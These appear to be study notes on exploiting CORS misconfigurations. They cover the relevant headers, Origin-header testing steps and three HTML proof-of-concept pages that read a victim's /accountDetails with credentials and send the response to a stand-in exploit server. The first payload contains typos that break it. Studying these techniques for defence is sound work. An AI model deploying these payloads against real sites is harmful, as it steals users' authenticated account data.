Access-Control-Allow-Originheader: Specifies if the origin is allowed to access the resources of the website. Only access public pages.- The values could be:
*
<origin>
null
- Each with its security implications
Access-Control-Allow-Credentials: trueAllow authenticated pages- Note: if
Access-Control-Allow-Originis set to*then theAccess-Control-Allow-Credentialsheader is not allowed
- The Access-Control-Allow-Origin header only allows to whitelist one origin, this is a limitation that developers need to circumvent
- They use
dynamic generationto address this limitation - The logic of how an origin is decided to be trusted is what causes the misconfigurations
- Find a request disclosing sensitive information
- Inject the Origin header and start testing different url options
- Look at server responses and check for "Access-Control-Allow-Origin" or "Access-Control-Allow-Credentials"
- Add or change the origin header to set the current host as a subdomain of an attacker controlled domain "current-host.net.attacker-site.com" and observe the server response
- Add or change the origin header to a subdomain of the current Host value and observe the server response
- Add or change the origin header to an arbitrary value and observe the server response
- Add or change the origin header to "null" value and observe the server response
- Dynamic generation
<html>
<body>
<h1>Hello World!</h1>
<script>
var xhr = new XMLHttpRequest();
var url = "https://vulnerable-site.com"
xhr.onreadoystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch("/log?key=" + xhr.responseText)
}
}
xhr.open('GET', url + "/accountDetails", true);
xhr.withCrendentials = true;
xhr.send(null);
</script>
</body>
</html>- Null whitelisted: use an iframe. In the second "x.open" specify the full PATH of the exploit server since the request is coming from a sandboxed iframe
<html>
<body>
<h1>Hello World!</h1>
<iframe style="display: none" sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
xhr=new XMLHttpRequest();
xhr.onload=function(){
const x=new XMLHttpRequest()
x.open('GET', 'https://exploit-server.net/log?key='+btoa(this.responseText))
x.send()
}
xhr.open('GET', 'https://vulnerable-site/accountDetails', true);
xhr.withCredentials = true;
xhr.send();
</script>"></iframe>
</body>
</html>- Insecure HTTP protocol in CORS policy + subdomain vulnerable to XSS
<html>
<body>
<script>
document.location='http://subdomain.vulnerable-website.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://vulnerable-website.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1'
</script>
</body>
</html>